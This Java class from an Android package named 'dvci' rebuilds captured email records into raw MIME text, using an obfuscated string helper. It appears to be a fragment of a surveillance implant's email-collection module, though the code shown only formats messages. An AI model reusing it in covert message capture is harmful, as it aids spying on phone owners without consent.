package com.android.dvci.module.email; import java.util.Date; import com.android.dvci.util.Utils; import com.android.mm.M; public class Email { private Date timestamp; private String fromAddress; private String toAddresses; private String ccAddresses; private String body; private String snippet; private String subject; private boolean incoming; public Email(boolean incoming, Date timestamp, String fromAddress, String toAddresses, String ccAddresses, String body, String snippet, String subject) { this.timestamp = timestamp; this.fromAddress = fromAddress; this.toAddresses = toAddresses; this.ccAddresses = ccAddresses; this.body = body; this.snippet = snippet; this.subject = subject; this.incoming = incoming; } public String makeMimeMessage(final int maxMessageSize) { final StringBuffer mailRaw = new StringBuffer(); mailRaw.append("Date: " + timestamp.toGMTString() + "\r\n"); mailRaw.append("From: " + fromAddress + "\r\n"); mailRaw.append("To: " + toAddresses + "\r\n"); mailRaw.append("Cc: " + ccAddresses + "\r\n"); mailRaw.append("Subject: " + subject + "\r\n"); // comincia la ricostruzione del MIME // 18.14=MIME-Version: 1.0 mailRaw.append(M.e("MIME-Version: 1.0") + "\r\n"); //$NON-NLS-1$ final long rnd = Math.abs(Utils.getRandom()); // 18.15=------_NextPart_ final String boundary = M.e("------_NextPart_") + rnd; //$NON-NLS-1$ if (isMultipart()) { // 18.16=Content-Type: multipart/alternative; boundary= mailRaw.append(M.e("Content-Type: multipart/alternative; boundary=") //$NON-NLS-1$ + boundary + "\r\n"); //$NON-NLS-1$ mailRaw.append("\r\n--" + boundary + "\r\n"); //$NON-NLS-1$ //$NON-NLS-2$ } //j_19=Content-Transfer-Encoding: quoted-printable mailRaw.append(M.e("Content-Transfer-Encoding: 8bit") + "\r\n"); // 18.17=Content-type: text/plain; charset=UTF8 mailRaw.append(M.e("Content-type: text/plain; charset") + "\r\n\r\n"); String msg = snippet; if (maxMessageSize > 0 && msg.length() > maxMessageSize) { msg = msg.substring(0, maxMessageSize); } mailRaw.append(msg); if (isMultipart()) { mailRaw.append("\r\n--" + boundary + "\r\n"); //$NON-NLS-1$ //$NON-NLS-2$ //j_18=Content-type: text/html; charset=UTF8 //j_19=Content-Transfer-Encoding: quoted-printable mailRaw.append(M.e("Content-Transfer-Encoding: 8bit") + "\r\n"); mailRaw.append(M.e("Content-type: text/html; charset") + "\r\n\r\n"); // mailRaw.append(htmlMessageContentType); if (maxMessageSize > 0 && body.length() > maxMessageSize) { body = body.substring(0, maxMessageSize); } mailRaw.append(body); mailRaw.append("\r\n--" + boundary + "--\r\n"); //$NON-NLS-1$ //$NON-NLS-2$ } mailRaw.append("\r\n"); //$NON-NLS-1$ final String craftedMail = mailRaw.toString(); return craftedMail; } private boolean isMultipart() { return body != null; } public Date getReceivedDate() { return timestamp; } public boolean isIncoming() { return incoming; } public long getDate() { return timestamp.getTime(); } }